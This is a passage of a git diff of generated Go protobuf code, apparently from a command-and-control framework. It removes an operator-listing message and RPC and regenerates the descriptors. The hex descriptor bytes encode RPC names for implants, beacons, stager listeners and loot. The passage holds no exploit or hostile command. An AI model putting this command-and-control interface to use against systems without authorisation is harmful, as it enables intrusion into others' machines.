int) interface{} { + file_clientpb_client_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackConfig); i { case 0: return &v.state @@ -12446,7 +12383,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackFiles); i { case 0: return &v.state @@ -12458,7 +12395,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackFile); i { case 0: return &v.state @@ -12470,7 +12407,7 @@ func file_clientpb_client_proto_init() { return nil } } - file_clientpb_client_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { + file_clientpb_client_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackFileChunk); i { case 0: return &v.state @@ -12489,7 +12426,7 @@ func file_clientpb_client_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_clientpb_client_proto_rawDesc, NumEnums: 12, - NumMessages: 112, + NumMessages: 111, NumExtensions: 0, NumServices: 0, }, diff --git a/protobuf/clientpb/client.proto b/protobuf/clientpb/client.proto index 7e7384036d..ec42e85758 100644 --- a/protobuf/clientpb/client.proto +++ b/protobuf/clientpb/client.proto @@ -514,8 +514,6 @@ message Event { string Err = 6; // Can't trigger normal gRPC error } -message Operators { repeated Operator Operators = 1; } - message Operator { bool Online = 1; string Name = 2; diff --git a/protobuf/commonpb/common.pb.go b/protobuf/commonpb/common.pb.go index 0bfd3a489b..0ebf02a837 100644 --- a/protobuf/commonpb/common.pb.go +++ b/protobuf/commonpb/common.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.26.0 +// protoc-gen-go v1.31.0 // protoc v3.15.8 // source: commonpb/common.proto @@ -131,8 +131,9 @@ func (x *Request) GetSessionID() string { } // Response - Common fields used in all gRPC responses. Note that the Err field -// only used when the implant needs to return an error to the server. -// Client<->Server comms should use normal gRPC error handling. +// +// only used when the implant needs to return an error to the server. +// Client<->Server comms should use normal gRPC error handling. type Response struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache diff --git a/protobuf/dnspb/dns.pb.go b/protobuf/dnspb/dns.pb.go index a31c365aa8..b5cdf7b18f 100644 --- a/protobuf/dnspb/dns.pb.go +++ b/protobuf/dnspb/dns.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.26.0 +// protoc-gen-go v1.31.0 // protoc v3.15.8 // source: dnspb/dns.proto @@ -87,12 +87,10 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) { return file_dnspb_dns_proto_rawDescGZIP(), []int{0} } +// NOTE: DNS is very space sensitive so certain fields are re-purposed +// depending on the DNSMessageType as noted below: // -//NOTE: DNS is very space sensitive so certain fields are re-purposed -//depending on the DNSMessageType as noted below: -// -//[Type TOTP]: ID field is used for the TOTP code -// +// [Type TOTP]: ID field is used for the TOTP code type DNSMessage struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache diff --git a/protobuf/rpcpb/services.pb.go b/protobuf/rpcpb/services.pb.go index 0ce82cc45e..9f77e54f9d 100644 --- a/protobuf/rpcpb/services.pb.go +++ b/protobuf/rpcpb/services.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.27.1 -// protoc v3.21.12 +// protoc-gen-go v1.31.0 +// protoc v3.15.8 // source: rpcpb/services.proto package rpcpb @@ -31,636 +31,633 @@ var file_rpcpb_services_proto_rawDesc = []byte{ 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x32, 0x9c, 0x4e, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, + 0x74, 0x6f, 0x32, 0xe6, 0x4d, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x09, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x28, 0x01, 0x12, 0x34, 0x0a, 0x0c, 0x47, - 0x65, 0x74, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x13, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x73, 0x12, 0x2a, 0x0a, 0x04, 0x4b, 0x69, 0x6c, 0x6c, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3e, 0x0a, - 0x0b, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x18, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x75, 0x72, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, - 0x06, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x32, 0x0a, - 0x0b, 0x47, 0x65, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x28, 0x01, 0x12, 0x2a, 0x0a, 0x04, 0x4b, + 0x69, 0x6c, 0x6c, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4b, + 0x69, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3e, 0x0a, 0x0b, 0x52, 0x65, 0x63, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x52, 0x65, 0x71, + 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x52, 0x65, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6e, + 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x30, 0x0a, 0x0a, 0x47, + 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2f, 0x0a, + 0x09, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x10, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x2d, + 0x0a, 0x08, 0x52, 0x6d, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, + 0x0e, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, + 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, + 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x42, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x42, + 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x3e, 0x0a, 0x10, + 0x43, 0x61, 0x6e, 0x63, 0x65, 0x6c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, + 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x0c, + 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x72, 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, - 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x1a, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, - 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x2d, 0x0a, 0x08, 0x52, 0x6d, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x42, - 0x0a, 0x14, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x43, - 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, - 0x73, 0x6b, 0x12, 0x3e, 0x0a, 0x10, 0x43, 0x61, 0x6e, 0x63, 0x65, 0x6c, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, - 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x0c, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, - 0x72, 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x2f, 0x0a, 0x0b, 0x4d, 0x6f, 0x6e, 0x69, 0x74, - 0x6f, 0x72, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2a, 0x0a, 0x07, 0x47, 0x65, 0x74, 0x4a, - 0x6f, 0x62, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, - 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, - 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x46, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x12, 0x40, 0x0a, 0x0f, 0x53, 0x74, 0x61, 0x72, 0x74, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x12, 0x43, 0x0a, 0x10, 0x53, 0x74, 0x61, 0x72, 0x74, 0x44, 0x4e, 0x53, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x47, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, - 0x48, 0x54, 0x54, 0x50, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x12, 0x46, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, - 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x4f, 0x0a, 0x16, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x54, 0x43, 0x50, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, - 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, - 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, - 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x50, 0x0a, 0x17, 0x53, 0x74, 0x61, - 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, - 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, - 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x29, 0x0a, 0x07, 0x4c, - 0x6f, 0x6f, 0x74, 0x41, 0x64, 0x64, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x29, 0x0a, 0x06, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x6d, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x2f, 0x0a, 0x0b, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x6f, 0x70, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x12, 0x2a, 0x0a, 0x07, 0x47, 0x65, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0e, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x32, + 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, + 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, + 0x6f, 0x62, 0x12, 0x46, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4d, 0x54, 0x4c, 0x53, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, + 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, + 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x40, 0x0a, 0x0f, 0x53, 0x74, + 0x61, 0x72, 0x74, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x17, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 